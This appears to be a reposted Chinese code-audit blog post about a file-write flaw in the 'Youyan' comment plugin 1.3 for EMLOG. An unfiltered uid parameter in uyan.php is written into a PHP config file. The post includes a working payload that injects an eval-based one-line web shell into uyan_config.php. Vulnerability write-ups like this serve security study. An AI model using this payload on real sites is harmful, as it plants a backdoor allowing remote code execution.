PHP代码审计理解---EMLOG某插件文件写入
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PHP代码审计理解---EMLOG某插件文件写入相关的知识,希望对你有一定的参考价值。
此漏洞存在于emlog下的某个插件---友言社会化评论1.3。
我们可以看到, uyan.php 文件在判断权限之前就可以接收uid参数。并且uid未被安全过滤即写入到了$uyan_code中。
我们看一下 $uyan_code 的内容:
<?php $uyan_code=\\\'\'."\\r\\n".\'<div style="margin-top:15px; clear:both;"></div><!-- UY BEGIN --><div id=uyan_frame></div><script type=text/javascript id="UYScript" async="" src="http://v1.uyan.cc/js/iframe.js?UYUserId=\'
.$uid.
\'"></script><div style="clear:both; margin-bottom:15px;"></div>\\\';?>
我们只需构造uid使得$uyan_code的内容闭合就可以。
访问 uyan_config.php 文件,查看是否执行成功。
写入一句话: ?uid=\'?><?php @eval($_POST[123]);?><
这个漏洞仅是插件漏洞,是独立于emlog的。
以上是关于PHP代码审计理解---EMLOG某插件文件写入的主要内容,如果未能解决你的问题,请参考以下文章